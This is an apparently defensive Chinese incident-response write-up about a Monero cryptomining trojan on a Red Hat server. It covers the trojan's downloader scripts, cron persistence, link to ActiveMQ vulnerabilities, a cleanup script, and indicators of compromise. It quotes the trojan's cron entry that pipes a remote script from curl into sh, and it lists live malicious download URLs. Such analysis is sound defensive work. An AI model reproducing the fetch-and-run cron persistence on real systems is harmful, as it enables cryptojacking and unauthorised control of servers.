近期接到客戶反映,其機房有一臺redhat服務器很卡,導致很多服務響應速度很慢的情況。通過遠程到客戶機器,發現一個進程占據700%多CPU的使用率。通過分析,定性為是一起針對“門羅幣”的挖礦木馬入侵事件。本文記錄處理該事件的關鍵過程以及對該挖礦木馬核心代碼進行的分析,方便做事件響應的同行們碰到同家族類型木馬后可以快速查殺,定性威脅事件。
1.木馬行為與查殺過程
主要行為
木馬以r88.sh作為downloader首先控制服務器,通過判斷當前賬戶的權限是否為root來進行下一步的操作,若為root則在目錄/var/spool/cron/root和/var/spool/cron/crontabs/root下寫計劃任務“*/5 * * * * curl -sL https://x.co/6nPMR | sh”,其中這個短鏈接還原后為https://xmr.enjoytopic.tk/12/r88.sh。若為非root賬戶,則不寫計劃任務。接著均會執行下載運行rootv2.sh或lowerv2.sh(基于當前賬戶是否為root來選擇下載腳本)等一系列的操作。
木馬的挖礦組件bashd和bashe在系統中執行后,毫不掩飾地就開始挖礦,CPU直接就占據好幾百,簡直粗暴。是不是應該考慮下根據機器的當前運行狀態來“人性化挖礦”呢?
簡單的進程保護行為
為了防被殺后還能繼續挖礦,其通過寫入定時任務的方式來實現簡單的進程保護,通過一定時間間隔使用curl與wget遠程下載shell腳本程序執行,該腳本的功能會執行本地路徑下已存在的挖礦程序,若不存在則會重新下載挖礦程序執行。
其中該木馬在多個路徑都寫入了定時任務來實現維持訪問,包括:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前兩個位置直接就在r88.sh這個文件中暴露了出來:
要清除該木馬需要清除三個位置所有的定時任務,要不然該木馬還會死灰復燃,重新被啟動挖礦。
所幸該木馬并沒有感染傳播的蠕蟲屬性,猜測是攻擊者直接通過一般漏洞來進行的無差別攻擊植入的挖礦downloader。經過對服務器進行滲透測試,確實發現了Apache ActiveMQ Fileserver遠程代碼執行漏洞(CVE-2016-3088)與ActiveMQ 反序列化漏洞(CVE-2015-5254)。所以企業在上線服務之前最好還是先讓安全從業人員先進行安全評估加固之后會更加安全一些。
木馬查殺
1) 嘗試殺掉bashd與bashe進程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh與r88.sh這些shell進程
2) 清除掉/tmp目錄下木馬釋放的文件:/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh 、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等
3) 清除3個位置的定時任務:/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d
對應的自動查殺腳本如下
#!/bin/bash
for ((i=1;i>0;i++))
do
ps -ef | grep “/tmp/bashd -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “/tmp/bashe -p bashd” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/root.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/r88.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/rootv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/lower.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
ps -ef | grep “bash /tmp/lowerv2.sh” | grep -v grep | awk ‘{print $2}’ | xargs kill
rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r
rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root
done
2.木馬核心代碼分析
木馬整體編寫邏輯
該木馬使用Linux系統的shell腳本編寫Downloader,使用curl與wget命令發起網絡請求下載木馬的其他組件,雖然代碼可被輕易分析,但是編寫成本和門檻降低,這也是當前惡意代碼使用腳本語言編寫的一個趨勢。
該木馬一共涉及多個腳本與可執行文件:
配置文件
bashe的config.json配置文件:
config.json這個配置文件中顯示其礦池地址為pool.supportxmr.com:80,
用戶為:
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL
MEoXq53GHYJPv3LP6
bashd的pools.txt配置文件:
該配置文件中顯示器礦池地址為pool.supportxmr.com:80,錢包地址為:
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraL
MEoXq53GHYJPv3LP6,礦池密碼為bashe。
r88.sh代碼分析
r88.sh首先判斷當前用戶是否為root賬戶,若是則下載并執行root.sh,若下載執行失敗則會下載執行rootv2.sh,兩者代碼一樣;若非root賬戶,那么則下載并執行lower.sh,若下載失敗則下載執行lowerv2.sh,root.sh與rootv2.sh兩者代碼一致。下圖是r88.sh的完整代碼截圖。
lowerv2.sh代碼分析
lowerv2.sh是在非root權限下才會被執行的downloader腳本,代碼中有兩個函數:kills和downloadyam,隔600s循環執行。
Kills函數用于刪除其他同行的挖礦木馬的文件并kill進程,真是一山不能容二馬的節奏啊。
其中downloadyam函數,用于下載挖礦程序bashd和bashe以及對應的配置文件并執行挖礦程序。
lower.sh代碼分析
若當前用戶是非root權限,r88.sh會作為下載器下載該腳本,若是其下載執行失敗,那么就會選擇下載lowerv2.sh。兩個腳本完全一樣,只是為了在下載失敗時作為替代的保險操作。
rootv2.sh代碼分析
rootv2.sh的代碼與lowerv2.sh的代碼完全一樣,只是rootv2.sh的代碼多了兩行注釋:
猜測是作者本來想在rootv2.sh中加入寫crontab的代碼的,可是最后沒有加上,故rootv2.sh與lowerv2.sh代碼當前是完全一樣的。
root.sh代碼分析
當前用戶若是root權限,root.sh是r88.sh下載首選,在下載root.sh失敗的情況下才會選擇下載rootv2.sh,兩個文件的代碼是完全一致的。r88.sh的代碼片段如下:
Bashe代碼分析
該ELF可執行文件靜態編譯造成程序達到20m,通過對其代碼分析發現跟很多挖礦木馬一樣使用到了開源的挖礦代碼,該程序使用的開源挖礦項目在:https://github.com/fireice-uk/xmr-stak-cpu,是一個通用的挖礦項目,支持CPU,AMD與NVIDIA GPU,用于挖“門羅幣”。下圖可見該可執行文件中多處使用引用的代碼:
通過對比github上的代碼:
可確定其是基于開源代碼xmr-stak 2.4.2編寫的一個針對門羅幣的挖礦木馬。
Bashd代碼分析
該木馬用于針對“門羅幣”挖礦的組件,x64架構的ELF格式文件。通過代碼相似性分析可確定該程序是基于xmrig 2.5.2開源項目開發的一個基于CPU的針對Monero(XMR)的挖礦木馬。
該項目在:https://github.com/xmrig/xmrig
3.總結
該挖礦木馬并沒有使用很多高級的防查殺技術,也沒有廣泛傳播的蠕蟲屬性,僅僅使用定時任務來實現簡單的進程保護,通過無差別攻擊進行“抓雞”植入木馬,而且直接使用shell腳本編寫的下載器加上開源的挖礦代碼就開始“抓肉雞”挖礦,由此可見現在對于挖礦木馬的門檻在降低,但是這樣簡單的操作就足以嚴重危害網絡的可用性與安全性。
關于挖礦木馬如何防范與其他惡意代碼以及入侵事件如何防范一樣,實際上均是老生常談的話題,最重要的一點還是企業需要正視網絡安全的重要性,及時對系統以及應用打補丁,定期組織安全人員進行服務器的維護,提高企業員工的安全意識等等。
4.IoC
http://abcde.sw5y.com
http://abcde.sw5y.com/l2/lowerv2.sh
http://abcde.sw5y.com/l2/rootv2.sh
http://abcde.sw5y.com/l2/pools.txt
http://abcde.sw5y.com/l2/bashd
http://abcde.sw5y.com/l2/bashe
https://xmr.enjoytopic.tk/12/r88.sh
https://xmr.enjoytopic.tk
8965edd7205ffc4a7711313715f1621a7817621a0db03245022fc6e8b2ae8642
e3b0296ddec24cc0d7ef27b4896a0616f20394cb0293b22c1ac744c530451b47
27fbcee0f3f007e846ec4367c6ef55c8d2d790f22b12d551b0df93c369c5cb76
f90bada1b2562c3b7727fee57bd7edf453883219a2ee45923abbd539708236b0
0122604e4d65b181ad9fbd782743df6dafe6371bcf24638eb2d4aa962a272015
3d75b68b05aa00cb8ace5c27b35341a5c33c14c547313f04afa8bc5193366755